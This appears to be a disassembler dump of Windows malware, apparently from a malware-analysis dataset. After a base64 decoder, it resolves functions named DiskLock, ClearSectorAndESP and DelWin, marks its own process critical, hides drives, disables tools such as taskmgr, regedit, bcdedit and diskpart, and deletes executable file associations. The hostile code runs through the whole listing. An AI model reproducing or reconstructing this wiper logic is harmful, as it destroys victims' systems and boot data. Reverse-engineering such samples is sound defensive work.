Function at 0x281b77ef0
Capabilities:
Delete file
Get common file path

Disassembly:
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x90
movaps xmmword [rsp + 0x30], xmm6
movaps xmmword [rsp + 0x40], xmm7
movaps xmmword [rsp + 0x50], xmm8
movaps xmmword [rsp + 0x60], xmm9
movaps xmmword [rsp + 0x70], xmm10
movaps xmmword [rsp + 0x80], xmm11
pxor xmm0, xmm0
mov rdi, rdx
mov r12, rcx
mov rdx, qword [rdx]
movups xmmword [rcx], xmm0
mov qword [rcx + 0x10], 0
mov rcx, qword [rdi + 8]
lea r8, [rdx + rcx]
cmp rdx, r8
je 0x281b77ea0
lea r9, [rcx - 1]
mov rax, rdx
cmp r9, 0xe
jbe 0x281b77ea7
movdqa xmm1, xmm0
pxor xmm5, xmm5
pxor xmm4, xmm4
mov r9, rcx
and r9, 0xfffffffffffffff0
movdqa xmm7, xmmword [str.]
movdqa xmm6, xmmword [0x281ca10b0]
pxor xmm3, xmm3
add r9, rdx
nop word [rax + rax]
movdqu xmm0, xmmword [rax]
movdqa xmm2, xmm5
movdqa xmm11, xmm3
add rax, 0x10
pcmpeqb xmm0, xmm7
pand xmm0, xmm6
pcmpgtb xmm2, xmm0
movdqa xmm8, xmm0
punpcklbw xmm8, xmm2
punpckhbw xmm0, xmm2
movdqa xmm2, xmm4
pcmpgtw xmm2, xmm8
movdqa xmm10, xmm8
movdqa xmm9, xmm0
punpcklwd xmm10, xmm2
punpckhwd xmm8, xmm2
movdqa xmm2, xmm4
pcmpgtw xmm2, xmm0
pcmpgtd xmm11, xmm10
punpcklwd xmm9, xmm2
punpckhwd xmm0, xmm2
movdqa xmm2, xmm10
punpckldq xmm2, xmm11
paddq xmm1, xmm2
movdqa xmm2, xmm10
movdqa xmm10, xmm8
punpckhdq xmm2, xmm11
paddq xmm1, xmm2
movdqa xmm2, xmm3
pcmpgtd xmm2, xmm8
punpckhdq xmm8, xmm2
punpckldq xmm10, xmm2
movdqa xmm2, xmm3
pcmpgtd xmm2, xmm9
paddq xmm1, xmm10
paddq xmm1, xmm8
movdqa xmm8, xmm9
punpckldq xmm8, xmm2
punpckhdq xmm9, xmm2
movdqa xmm2, xmm3
pcmpgtd xmm2, xmm0
paddq xmm1, xmm8
movdqa xmm8, xmm0
paddq xmm1, xmm9
punpckldq xmm8, xmm2
punpckhdq xmm0, xmm2
paddq xmm1, xmm8
paddq xmm1, xmm0
cmp rax, r9
jne 0x281b77ad0
movdqa xmm0, xmm1
mov r9, rcx
psrldq xmm0, 8
and r9, 0xfffffffffffffff0
paddq xmm1, xmm0
add rdx, r9
movq rax, xmm1
cmp r9, rcx
je 0x281b77d50
xor r9d, r9d
cmp byte [rdx], 0x3d
sete r9b
add rax, r9
lea r9, [rdx + 1]
cmp r8, r9
je 0x281b77d50
xor r9d, r9d
cmp byte [rdx + 1], 0x3d
sete r9b
add rax, r9
lea r9, [rdx + 2]
cmp r8, r9
je 0x281b77d50
xor r9d, r9d
cmp byte [rdx + 2], 0x3d
sete r9b
add rax, r9
lea r9, [rdx + 3]
cmp r8, r9
je 0x281b77d50
xor r9d, r9d
cmp byte [rdx + 3], 0x3d
sete r9b
add rax, r9
lea r9, [rdx + 4]
cmp r8, r9
je 0x281b77d50
xor r9d, r9d
cmp byte [rdx + 4], 0x3d
sete r9b
add rax, r9
lea r9, [rdx + 5]
cmp r8, r9
je 0x281b77d50
xor r9d, r9d
cmp byte [rdx + 5], 0x3d
sete r9b
add rax, r9
lea r9, [rdx + 6]
cmp r8, r9
je 0x281b77d50
xor r9d, r9d
cmp byte [rdx + 6], 0x3d
sete r9b
add rax, r9
lea r9, [rdx + 7]
cmp r8, r9
je 0x281b77d50
xor r9d, r9d
cmp byte [rdx + 7], 0x3d
sete r9b
add rax, r9
lea r9, [rdx + 8]
cmp r8, r9
je 0x281b77d50
xor r9d, r9d
cmp byte [rdx + 8], 0x3d
sete r9b
add rax, r9
lea r9, [rdx + 9]
cmp r8, r9
je 0x281b77d50
xor r9d, r9d
cmp byte [rdx + 9], 0x3d
sete r9b
add rax, r9
lea r9, [rdx + 0xa]
cmp r8, r9
je 0x281b77d50
xor r9d, r9d
cmp byte [rdx + 0xa], 0x3d
sete r9b
add rax, r9
lea r9, [rdx + 0xb]
cmp r8, r9
je 0x281b77d50
xor r9d, r9d
cmp byte [rdx + 0xb], 0x3d
sete r9b
add rax, r9
lea r9, [rdx + 0xc]
cmp r8, r9
je 0x281b77d50
xor r9d, r9d
cmp byte [rdx + 0xc], 0x3d
sete r9b
add rax, r9
lea r9, [rdx + 0xd]
cmp r8, r9
je 0x281b77d50
xor r9d, r9d
cmp byte [rdx + 0xd], 0x3d
sete r9b
add rax, r9
lea r9, [rdx + 0xe]
cmp r8, r9
je 0x281b77d50
cmp byte [rdx + 0xe], 0x3d
sete dl
movzx edx, dl
add rax, rdx
nop dword [rax]
lea rdx, [rcx + rcx*2]
add rdx, rdx
shr rdx, 3
sub edx, eax
movsxd rsi, edx
js 0x281b77eb8
test rsi, rsi
jne 0x281b77e30
xor esi, esi
xor ebp, ebp
lea r13, [0x281ccf1c0]
xor ebx, ebx
lea r14, [rsp + 0x2f]
test rcx, rcx
jne 0x281b77d98
jmp 0x281b77dee
mov esi, eax
cmp rbx, qword [rdi + 8]
jae 0x281b77dee
mov rdx, qword [rdi]
mov rax, rbx
add rbx, 1
movsx edx, byte [rdx + rax]
cmp dl, 0x3d
je 0x281b77dee
xor r8d, r8d
mov rcx, r13
shl ebp, 6
call fcn.281ba9730
or ebp, eax
lea eax, [rsi + 6]
cmp eax, 7
jle 0x281b77d90
sub esi, 2
mov eax, ebp
mov rdx, qword [r12 + 8]
mov ecx, esi
shr eax, cl
mov byte [rsp + 0x2f], al
cmp rdx, qword [r12 + 0x10]
je 0x281b77e70
mov byte [rdx], al
add qword [r12 + 8], 1
cmp rbx, qword [rdi + 8]
jb 0x281b77d98
movaps xmm6, xmmword [rsp + 0x30]
movaps xmm7, xmmword [rsp + 0x40]
mov rax, r12
movaps xmm8, xmmword [rsp + 0x50]
movaps xmm9, xmmword [rsp + 0x60]
movaps xmm11, xmmword [rsp + 0x80]
movaps xmm10, xmmword [rsp + 0x70]
add rsp, 0x90
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret
mov rcx, rsi
call fcn.281c3b090
mov r13, qword [r12]
mov r8, qword [r12 + 8]
mov rbx, rax
sub r8, r13
test r8, r8
jg 0x281b77e80
test r13, r13
jne 0x281b77eae
movq xmm0, rbx
add rbx, rsi
mov rcx, qword [rdi + 8]
punpcklqdq xmm0, xmm0
mov qword [r12 + 0x10], rbx
movups xmmword [r12], xmm0
jmp 0x281b77d6f
mov r8, r14
mov rcx, r12
call fcn.281c19f60
jmp 0x281b77d92
mov rdx, r13
mov rcx, rax
call sub.msvcrt.dll_memmove
mov rdx, qword [r12 + 0x10]
sub rdx, r13
mov rcx, r13
call fcn.281c3b050
jmp 0x281b77e51
xor eax, eax
jmp 0x281b77d50
xor eax, eax
jmp 0x281b77bdb
mov rdx, qword [r12 + 0x10]
sub rdx, r13
jmp 0x281b77e93
lea rcx, str.vector::reserve
call fcn.281c3c670
mov rcx, qword [r12]
mov rdx, qword [r12 + 0x10]
mov r13, rax
sub rdx, rcx
test rcx, rcx
je 0x281b77edd
call fcn.281c3b050
mov rcx, r13
call fcn.281b846b0
nop
nop word cs:[rax + rax]
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x668
cmp ecx, 0x72
jne 0x281b796a0
cmp edx, 0x202
jne 0x281b796a0
lea r12, [rsp + 0x550]
lea rdx, [0x281ccf160]
mov rcx, r12
call fcn.281b77a30
mov rcx, r12
call fcn.281b736c0
mov r8, qword [rsp + 0x550]
mov qword [0x281ccf138], rax
mov rcx, rax
test r8, r8
je 0x281b77f68
mov rdx, qword [rsp + 0x560]
mov rcx, r8
sub rdx, r8
call fcn.281c3b050
mov rcx, qword [0x281ccf138]
mov rsi, qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.DiskLock
lea rbp, [rsp + 0x70]
call rsi
mov rcx, qword [0x281ccf138]
lea rdx, str.ClearSectorAndESP
mov rdi, rbp
mov qword [rsp + 0x38], rax
call rsi
mov rcx, qword [0x281ccf138]
lea rdx, str.DelWin
mov qword [rsp + 0x40], rax
call rsi
mov ecx, 0x13
mov qword [rsp + 0x48], rax
xor eax, eax
rep stosq qword [rdi], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0x100
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ecx, 0x30
mov r14, rax
mov qword [rsp + 0x58], 0
call fcn.281c3b090
mov r15, qword [0x281ccf180]
mov r13, rax
mov rbx, qword [0x281ccf188]
lea rax, [0x281cad690]
mov qword [r13], rax
lea rcx, [r13 + 0x18]
mov rax, r15
mov qword [r13 + 8], rcx
add rax, rbx
je 0x281b78025
test r15, r15
je 0x281b797c4
mov qword [rsp + 0x550], rbx
cmp rbx, 0xf
ja 0x281b79750
cmp rbx, 1
jne 0x281b796c0
movzx eax, byte [r15]
mov byte [r13 + 0x18], al
lea rax, [0x281b799a0]
mov qword [r13 + 0x10], rbx
xor r8d, r8d
mov rdx, r12
mov byte [rcx + rbx], 0
lea rcx, [rsp + 0x58]
mov qword [r13 + 0x28], rax
mov qword [rsp + 0x550], r13
call fcn.281c19ad0
mov rcx, qword [rsp + 0x550]
test rcx, rcx
je 0x281b78087
mov rax, qword [rcx]
call qword [rax + 8]
test r14, r14
je 0x281b780b0
lea rdx, str.RtlSetProcessIsCritical
mov rcx, r14
call rsi
mov qword [0x281ccf148], rax
test rax, rax
je 0x281b780b0
xor r8d, r8d
xor edx, edx
mov ecx, 1
call rax
lea rdi, [0x281ccf020]
lea rsi, [rsp + 0x560]
lea r14, [rdi + 0x118]
lea r15, [rsp + 0x440]
nop
mov r13, qword [rdi + 8]
mov rbx, qword [rdi + 0x10]
mov qword [rsp + 0x550], rsi
mov rax, r13
add rax, rbx
je 0x281b780f1
test r13, r13
je 0x281b797b8
mov qword [rsp + 0x440], rbx
cmp rbx, 0xf
ja 0x281b79700
cmp rbx, 1
jne 0x281b796e8
movzx eax, byte [r13]
mov byte [rsp + 0x560], al
mov rax, rsi
mov qword [rsp + 0x558], rbx
mov r8d, 1
mov rdx, r12
mov byte [rax + rbx], 0
mov ecx, dword [rdi]
call fcn.281b73e40
mov rcx, qword [rsp + 0x550]
cmp rcx, rsi
je 0x281b796d0
mov rax, qword [rsp + 0x560]
add rdi, 0x28
lea rdx, [rax + 1]
call fcn.281c3b050
cmp r14, rdi
jne 0x281b780d0
mov rax, qword [rsp + 0x38]
call rax
mov rax, qword [rsp + 0x40]
call rax
call fcn.281b73560
call fcn.281b77480
mov qword [rsp + 0x60], 0
mov ecx, 0x10
call fcn.281c3b090
lea rdi, [0x281cad6f0]
mov qword [rsp + 0x550], rax
xor r8d, r8d
mov rdx, r12
mov qword [rax], rdi
mov rdi, qword [rsp + 0x48]
mov qword [rax + 8], rdi
lea rax, [rsp + 0x60]
mov rcx, rax
mov qword [rsp + 0x40], rax
call fcn.281c19ad0
mov rcx, qword [rsp + 0x550]
test rcx, rcx
je 0x281b781d8
mov rax, qword [rcx]
call qword [rax + 8]
lea rax, [rsp + 0x108]
mov rbx, rbp
lea rdi, str.payloadClick
mov qword [rsp + 0x38], rax
lea r13, [0x281cad6c0]
lea r15, [rsp + 0x68]
lea r14, [0x281b714b0]
nop word [rax + rax]
mov qword [rsp + 0x68], 0
mov ecx, 0x18
call fcn.281c3b090
mov rdx, qword [rdi]
mov qword [rax], r13
xor r8d, r8d
mov rcx, r15
mov qword [rax + 0x10], r14
mov qword [rax + 8], rdx
mov rdx, r12
mov qword [rsp + 0x550], rax
call fcn.281c19ad0
mov rcx, qword [rsp + 0x550]
test rcx, rcx
je 0x281b78252
mov rax, qword [rcx]
call qword [rax + 8]
cmp qword [rbx], 0
jne 0x281b797b3
mov rax, qword [rsp + 0x68]
mov rcx, rbx
mov qword [rbx], rax
call fcn.281c19b90
add rbx, 8
add rdi, 8
cmp qword [rsp + 0x38], rbx
jne 0x281b78208
mov r8d, 0x3ffffff
mov rdx, r12
movabs rax, 0x6e4f776569566f4e
mov ecx, 1
mov qword [rsp + 0x550], rsi
mov qword [rsp + 0x560], rax
mov dword [rsp + 0x568], 0x76697244
mov byte [rsp + 0x56c], 0x65
mov qword [rsp + 0x558], 0xd
mov byte [rsp + 0x56d], 0
call fcn.281b73e40
mov rcx, qword [rsp + 0x550]
cmp rcx, rsi
je 0x281b782ed
mov rax, qword [rsp + 0x560]
lea rdx, [rax + 1]
call fcn.281c3b050
mov r8d, 0x3ffffff
mov rdx, r12
movabs rax, 0x7365766972446f4e
mov ecx, 1
mov qword [rsp + 0x550], rsi
mov qword [rsp + 0x560], rax
mov qword [rsp + 0x558], 8
mov byte [rsp + 0x568], 0
call fcn.281b73e40
mov rcx, qword [rsp + 0x550]
cmp rcx, rsi
je 0x281b7834c
mov rax, qword [rsp + 0x560]
lea rdx, [rax + 1]
call fcn.281c3b050
movabs rax, 0x2e74696465676572
mov r10d, 0x7865
mov rcx, r12
mov qword [rsp + 0x550], rsi
mov qword [rsp + 0x560], rax
mov word [rsp + 0x568], r10w
mov byte [rsp + 0x56a], 0x65
mov qword [rsp + 0x558], 0xb
mov byte [rsp + 0x56b], 0
call fcn.281b73920
mov rcx, qword [rsp + 0x550]
cmp rcx, rsi
je 0x281b783b7
mov rax, qword [rsp + 0x560]
lea rdx, [rax + 1]
call fcn.281c3b050
mov r9d, 0x7865
mov rcx, r12
mov qword [rsp + 0x550], rsi
mov dword [rsp + 0x560], 0x2e676572
mov word [rsp + 0x564], r9w
mov byte [rsp + 0x566], 0x65
mov qword [rsp + 0x558], 7
mov byte [rsp + 0x567], 0
call fcn.281b73920
mov rcx, qword [rsp + 0x550]
cmp rcx, rsi
je 0x281b7841b
mov rax, qword [rsp + 0x560]
lea rdx, [rax + 1]
call fcn.281c3b050
mov r8d, 0x7865
mov rcx, r12
mov qword [rsp + 0x550], rsi
mov dword [rsp + 0x560], 0x2e646d63
mov word [rsp + 0x564], r8w
mov byte [rsp + 0x566], 0x65
mov qword [rsp + 0x558], 7
mov byte [rsp + 0x567], 0
call fcn.281b73920
mov rcx, qword [rsp + 0x550]
cmp rcx, rsi
je 0x281b7847f
mov rax, qword [rsp + 0x560]
lea rdx, [rax + 1]
call fcn.281c3b050
mov ecx, 0x7865
mov qword [rsp + 0x550], rsi
mov word [rsp + 0x564], cx
mov rcx, r12
mov dword [rsp + 0x560], 0x2e636d6d
mov byte [rsp + 0x566], 0x65
mov qword [rsp + 0x558], 7
mov byte [rsp + 0x567], 0
call fcn.281b73920
mov rcx, qword [rsp + 0x550]
cmp rcx, rsi
je 0x281b784e1
mov rax, qword [rsp + 0x560]
lea rdx, [rax + 1]
call fcn.281c3b050
movabs rax, 0x6e776f6474756873
mov rcx, r12
mov qword [rsp + 0x550], rsi
mov qword [rsp + 0x560], rax
mov dword [rsp + 0x568], 0x6578652e
mov qword [rsp + 0x558], 0xc
mov byte [rsp + 0x56c], 0
call fcn.281b73920
mov rcx, qword [rsp + 0x550]
cmp rcx, rsi
je 0x281b78540
mov rax, qword [rsp + 0x560]
lea rdx, [rax + 1]
call fcn.281c3b050
movabs rax, 0x6c6c696b6b736174
mov rcx, r12
mov qword [rsp + 0x550], rsi
mov qword [rsp + 0x560], rax
mov dword [rsp + 0x568], 0x6578652e
mov qword [rsp + 0x558], 0xc
mov byte [rsp + 0x56c], 0
call fcn.281b73920
mov rcx, qword [rsp + 0x550]
cmp rcx, rsi
je 0x281b7859f
mov rax, qword [rsp + 0x560]
lea rdx, [rax + 1]
call fcn.281c3b050
movabs rax, 0x7473696c6b736174
mov rcx, r12
mov qword [rsp + 0x550], rsi
mov qword [rsp + 0x560], rax
mov dword [rsp + 0x568], 0x6578652e
mov qword [rsp + 0x558], 0xc
mov byte [rsp + 0x56c], 0
call fcn.281b73920
mov rcx, qword [rsp + 0x550]
cmp rcx, rsi
je 0x281b785fe
mov rax, qword [rsp + 0x560]
lea rdx, [rax + 1]
call fcn.281c3b050
movabs rax, 0x7265726f6c707865
mov rcx, r12
mov qword [rsp + 0x550], rsi
mov qword [rsp + 0x560], rax
mov dword [rsp + 0x568], 0x6578652e
mov qword [rsp + 0x558], 0xc
mov byte [rsp + 0x56c], 0
call fcn.281b73920
mov rcx, qword [rsp + 0x550]
cmp rcx, rsi
je 0x281b7865d
mov rax, qword [rsp + 0x560]
lea rdx, [rax + 1]
call fcn.281c3b050
mov edx, 0x7865
mov rcx, r12
movabs rax, 0x2e72676d6b736174
mov qword [rsp + 0x550], rsi
mov qword [rsp + 0x560], rax
mov word [rsp + 0x568], dx
mov byte [rsp + 0x56a], 0x65
mov qword [rsp + 0x558], 0xb
mov byte [rsp + 0x56b], 0
call fcn.281b73920
mov rcx, qword [rsp + 0x550]
cmp rcx, rsi
je 0x281b786c6
mov rax, qword [rsp + 0x560]
lea rdx, [rax + 1]
call fcn.281c3b050
movabs rax, 0x2e74696465646362
mov rcx, r12
mov qword [rsp + 0x550], rsi
mov qword [rsp + 0x560], rax
mov eax, 0x7865
mov word [rsp + 0x568], ax
mov byte [rsp + 0x56a], 0x65
mov qword [rsp + 0x558], 0xb
mov byte [rsp + 0x56b], 0
call fcn.281b73920
mov rcx, qword [rsp + 0x550]
cmp rcx, rsi
je 0x281b7872f
mov rax, qword [rsp + 0x560]
lea rdx, [rax + 1]
call fcn.281c3b050
movabs rax, 0x2e746f6f62646362
mov rcx, r12
mov qword [rsp + 0x550], rsi
mov qword [rsp + 0x560], rax
mov eax, 0x7865
mov word [rsp + 0x568], ax
mov byte [rsp + 0x56a], 0x65
mov qword [rsp + 0x558], 0xb
mov byte [rsp + 0x56b], 0
call fcn.281b73920
mov rcx, qword [rsp + 0x550]
cmp rcx, rsi
je 0x281b78798
mov rax, qword [rsp + 0x560]
lea rdx, [rax + 1]
call fcn.281c3b050
movabs rax, 0x2e6c6f72746e6f63
mov rcx, r12
mov qword [rsp + 0x550], rsi
mov qword [rsp + 0x560], rax
mov eax, 0x7865
mov word [rsp + 0x568], ax
mov byte [rsp + 0x56a], 0x65
mov qword [rsp + 0x558], 0xb
mov byte [rsp + 0x56b], 0
call fcn.281b73920
mov rcx, qword [rsp + 0x550]
cmp rcx, rsi
je 0x281b78801
mov rax, qword [rsp + 0x560]
lea rdx, [rax + 1]
call fcn.281c3b050
movabs rax, 0x747261706b736964
mov rcx, r12
mov qword [rsp + 0x550], rsi
mov qword [rsp + 0x560], rax
mov dword [rsp + 0x568], 0x6578652e
mov qword [rsp + 0x558], 0xc
mov byte [rsp + 0x56c], 0
call fcn.281b73920
mov rcx, qword [rsp + 0x550]
cmp rcx, rsi
je 0x281b78860
mov rax, qword [rsp + 0x560]
lea rdx, [rax + 1]
call fcn.281c3b050
movabs rax, 0x6578652e6d736964
mov rcx, r12
mov qword [rsp + 0x550], rsi
mov qword [rsp + 0x560], rax
mov qword [rsp + 0x558], 8
mov byte [rsp + 0x568], 0
call fcn.281b73920
mov rcx, qword [rsp + 0x550]
cmp rcx, rsi
je 0x281b788b4
mov rax, qword [rsp + 0x560]
lea rdx, [rax + 1]
call fcn.281c3b050
movabs rax, 0x667265706b736964
mov rcx, r12
mov qword [rsp + 0x550], rsi
mov qword [rsp + 0x560], rax
mov dword [rsp + 0x568], 0x6578652e
mov qword [rsp + 0x558], 0xc
mov byte [rsp + 0x56c], 0
call fcn.281b73920
mov rcx, qword [rsp + 0x550]
cmp rcx, rsi
je 0x281b78913
mov rax, qword [rsp + 0x560]
lea rdx, [rax + 1]
call fcn.281c3b050
movabs rax, 0x7a69776c7074654e
mov rcx, r12
mov qword [rsp + 0x550], rsi
mov qword [rsp + 0x560], rax
mov dword [rsp + 0x568], 0x6578652e
mov qword [rsp + 0x558], 0xc
mov byte [rsp + 0x56c], 0
call fcn.281b73920
mov rcx, qword [rsp + 0x550]
cmp rcx, rsi
je 0x281b78972
mov rax, qword [rsp + 0x560]
lea rdx, [rax + 1]
call fcn.281c3b050
movabs rax, 0x652e6e6f6d736572
mov rcx, r12
mov qword [rsp + 0x550], rsi
mov qword [rsp + 0x560], rax
mov eax, 0x6578
mov word [rsp + 0x568], ax
mov qword [rsp + 0x558], 0xa
mov byte [rsp + 0x56a], 0
call fcn.281b73920
mov rcx, qword [rsp + 0x550]
cmp rcx, rsi
je 0x281b789d3
mov rax, qword [rsp + 0x560]
lea rdx, [rax + 1]
call fcn.281c3b050
movabs rax, 0x32336c6c646e7572
mov rcx, r12
mov qword [rsp + 0x550], rsi
mov qword [rsp + 0x560], rax
mov dword [rsp + 0x568], 0x6578652e
mov qword [rsp + 0x558], 0xc
mov byte [rsp + 0x56c], 0
call fcn.281b73920
mov rcx, qword [rsp + 0x550]
cmp rcx, rsi
je 0x281b78a32
mov rax, qword [rsp + 0x560]
lea rdx, [rax + 1]
call fcn.281c3b050
movabs rax, 0x78652e73616e7572
mov rcx, r12
mov qword [rsp + 0x550], rsi
mov qword [rsp + 0x560], rax
mov byte [rsp + 0x568], 0x65
mov qword [rsp + 0x558], 9
mov byte [rsp + 0x569], 0
call fcn.281b73920
mov rcx, qword [rsp + 0x550]
cmp rcx, rsi
je 0x281b78a8e
mov rax, qword [rsp + 0x560]
lea rdx, [rax + 1]
call fcn.281c3b050
movabs rax, 0x2e74736f68637673
mov rcx, r12
mov qword [rsp + 0x550], rsi
mov qword [rsp + 0x560], rax
mov eax, 0x7865
mov word [rsp + 0x568], ax
mov byte [rsp + 0x56a], 0x65
mov qword [rsp + 0x558], 0xb
mov byte [rsp + 0x56b], 0
call fcn.281b73920
mov rcx, qword [rsp + 0x550]
cmp rcx, rsi
je 0x281b78af7
mov rax, qword [rsp + 0x560]
lea rdx, [rax + 1]
call fcn.281c3b050
mov qword [rsp + 0x550], rsi
mov rdx, rsi
mov rcx, 0xffffffff80000000
mov dword [rsp + 0x560], 0x63736d2e
mov qword [rsp + 0x558], 4
mov byte [rsp + 0x564], 0
call qword [0x281ccf1b0]
mov r9d, 0xf003f
lea r13, [rsp + 0x440]
xor r8d, r8d
mov r14, qword [rsp + 0x550]
mov qword [rsp + 0x20], r13
lea rdx, str.SoftwareClasses
mov rcx, 0xffffffff80000001
call qword [0x281ccf1b8]
test eax, eax
jne 0x281b78b75
mov rcx, qword [rsp + 0x440]
mov rdx, r14
call qword [0x281ccf1b0]
mov rcx, qword [rsp + 0x550]
cmp rcx, rsi
je 0x281b78b93
mov rax, qword [rsp + 0x560]
lea rdx, [rax + 1]
call fcn.281c3b050
mov qword [rsp + 0x550], rsi
mov rdx, rsi
mov rcx, 0xffffffff80000000
mov dword [rsp + 0x560], 0x6578652e
mov qword [rsp + 0x558], 4
mov byte [rsp + 0x564], 0
call qword [0x281ccf1b0]
mov qword [rsp + 0x20], r13
mov r14, qword [rsp + 0x550]
mov r9d, 0xf003f
xor r8d, r8d
lea rdx, str.SoftwareClasses
mov rcx, 0xffffffff80000001
call qword [0x281ccf1b8]
test eax, eax
jne 0x281b78c09
mov rcx, qword [rsp + 0x440]
mov rdx, r14
call qword [0x281ccf1b0]
mov rcx, qword [rsp + 0x550]
cmp rcx, rsi
je 0x281b78c27
mov rax, qword [rsp + 0x560]
lea rdx, [rax + 1]
call fcn.281c3b050
mov r15d, 0x6c69
mov rcx, r12
mov qword [rsp + 0x550], rsi
mov dword [rsp + 0x560], 0x66657865
mov word [rsp + 0x564], r15w
mov byte [rsp + 0x566], 0x65
mov qword [rsp + 0x558], 7
mov byte [rsp + 0x567], 0
call fcn.281b715c0
mov rcx, qword [rsp + 0x550]
cmp rcx, rsi
je 0x281b78c8b
mov rax, qword [rsp + 0x560]
lea rdx, [rax + 1]
call fcn.281c3b050
mov qword [rsp + 0x550], rsi
mov rdx, rsi
mov rcx, 0xffffffff80000000
mov dword [rsp + 0x560], 0x7461622e
mov qword [rsp + 0x558], 4
mov byte [rsp + 0x564], 0
call qword [0x281ccf1b0]
mov qword [rsp + 0x20], r13
mov r14, qword [rsp + 0x550]
mov r9d, 0xf003f
xor r8d, r8d
lea rdx, str.SoftwareClasses
mov rcx, 0xffffffff80000001
call qword [0x281ccf1b8]
test eax, eax
jne 0x281b78d01
mov rcx, qword [rsp + 0x440]
mov rdx, r14
call qword [0x281ccf1b0]
mov rcx, qword [rsp + 0x550]
cmp rcx, rsi
je 0x281b78d1f
mov rax, qword [rsp + 0x560]
lea rdx, [rax + 1]
call fcn.281c3b050
mov r14d, 0x6c69
mov rcx, r12
mov qword [rsp + 0x550], rsi
mov dword [rsp + 0x560], 0x66746162
mov word [rsp + 0x564], r14w
mov byte [rsp + 0x566], 0x65
mov qword [rsp + 0x558], 7
mov byte [rsp + 0x567], 0
call fcn.281b715c0
mov rcx, qword [rsp + 0x550]
cmp rcx, rsi
je 0x281b78d83
mov rax, qword [rsp + 0x560]
lea rdx, [rax + 1]
call fcn.281c3b050
mov rcx, r12
mov qword [rsp + 0x550], rsi
mov dword [rsp + 0x560], 0x646d632e
mov qword [rsp + 0x558], 4
mov byte [rsp + 0x564], 0
call fcn.281b715c0
mov rcx, qword [rsp + 0x550]
cmp rcx, rsi
je 0x281b78dd0
mov rax, qword [rsp + 0x560]
lea rdx, [rax + 1]
call fcn.281c3b050
mov edi, 0x6c69
mov qword [rsp + 0x550], rsi
mov rdx, rsi
mov rcx, 0xffffffff80000000
mov dword [rsp + 0x560], 0x66646d63
mov word [rsp + 0x564], di
mov byte [rsp + 0x566], 0x65
mov qword [rsp + 0x558], 7
mov byte [rsp + 0x567], 0
call qword [0x281ccf1b0]
mov qword [rsp + 0x20], r13
mov r14, qword [rsp + 0x550]
mov r9d, 0xf003f
xor r8d, r8d
lea rdx, str.SoftwareClasses
mov rcx, 0xffffffff80000001
call qword [0x281ccf1b8]
test eax, eax
jne 0x281b78e5b
mov rcx, qword [rsp + 0x440]
mov rdx, r14
call qword [0x281ccf1b0]
mov rcx, qword [rsp + 0x550]
cmp rcx, rsi
je 0x281b78e79
mov rax, qword [rsp + 0x560]
lea rdx, [rax + 1]
call fcn.281c3b050
mov qword [rsp + 0x550], rsi
mov rdx, rsi
mov rcx, 0xffffffff80000000
mov dword [rsp + 0x560], 0x7362762e
mov qword [rsp + 0x558], 4
mov byte [rsp + 0x564], 0
call qword [0x281ccf1b0]
mov qword [rsp + 0x20], r13
mov r14, qword [rsp + 0x550]
mov r9d, 0xf003f
xor r8d, r8d
lea rdx, str.SoftwareClasses
mov rcx, 0xffffffff80000001
call qword [0x281ccf1b8]
test eax, eax
jne 0x281b78eef
mov rcx, qword [rsp + 0x440]
mov rdx, r14
call qword [0x281ccf1b0]
mov rcx, qword [rsp + 0x550]
cmp rcx, rsi
je 0x281b78f0d
mov rax, qword [rsp + 0x560]
lea rdx, [rax + 1]
call fcn.281c3b050
mov rcx, r12
mov qword [rsp + 0x550], rsi
mov dword [rsp + 0x560], 0x6d6f632e
mov qword [rsp + 0x558], 4
mov byte [rsp + 0x564], 0
call fcn.281b715c0
mov rcx, qword [rsp + 0x550]
cmp rcx, rsi
je 0x281b78f5a
mov rax, qword [rsp + 0x560]
lea rdx, [rax + 1]
call fcn.281c3b050
mov rcx, r12
mov qword [rsp + 0x550], rsi
mov dword [rsp + 0x560], 0x7263732e
mov qword [rsp + 0x558], 4
mov byte [rsp + 0x564], 0
call fcn.281b715c0
mov rcx, qword [rsp + 0x550]
cmp rcx, rsi
je 0x281b78fa7
mov rax, qword [rsp + 0x560]
lea rdx, [rax + 1]
call fcn.281c3b050
mov ebx, 0x6c69
mov rcx, r12
mov qword [rsp + 0x550], rsi
mov dword [rsp + 0x560], 0x666d6f63
mov word [rsp + 0x564], bx
mov byte [rsp + 0x566], 0x65
mov qword [rsp + 0x558], 7
mov byte [rsp + 0x567], 0
call fcn.281b715c0
mov rcx, qword [rsp + 0x550]
cmp rcx, rsi
je 0x281b79009
mov rax, qword [rsp + 0x560]
lea rdx, [rax + 1]
call fcn.281c3b050
mov r11d, 0x6c69
mov rcx, r12
mov qword [rsp + 0x550], rsi
mov dword [rsp + 0x560], 0x66726373
mov word [rsp + 0x564], r11w
mov byte [rsp + 0x566], 0x65
mov qword [rsp + 0x558], 7
mov byte [rsp + 0x567], 0
call fcn.281b715c0
mov rcx, qword [rsp + 0x550]
cmp rcx, rsi
je 0x281b7906d
mov rax, qword [rsp + 0x560]
lea rdx, [rax + 1]
call fcn.281c3b050
mov qword [rsp + 0x550], rsi
mov rdx, rsi
mov rcx, 0xffffffff80000000
mov dword [rsp + 0x560], 0x7379732e
mov qword [rsp + 0x558], 4
mov byte [rsp + 0x564], 0
call qword [0x281ccf1b0]
mov qword [rsp + 0x20], r13
mov r14, qword [rsp + 0x550]
mov r9d, 0xf003f
xor r8d, r8d
lea rdx, str.SoftwareClasses
mov rcx, 0xffffffff80000001
call qword [0x281ccf1b8]
test eax, eax
jne 0x281b790e3
mov rcx, qword [rsp + 0x440]
mov rdx, r14
call qword [0x281ccf1b0]
mov rcx, qword [rsp + 0x550]
cmp rcx, rsi
je 0x281b79101
mov rax, qword [rsp + 0x560]
lea rdx, [rax + 1]
call fcn.281c3b050
mov r10d, 0x6a2e
mov rcx, r12
mov qword [rsp + 0x550], rsi
mov word [rsp + 0x560], r10w
mov byte [rsp + 0x562], 0x73
mov qword [rsp + 0x558], 3
mov byte [rsp + 0x563], 0
call fcn.281b715c0
mov rcx, qword [rsp + 0x550]
cmp rcx, rsi
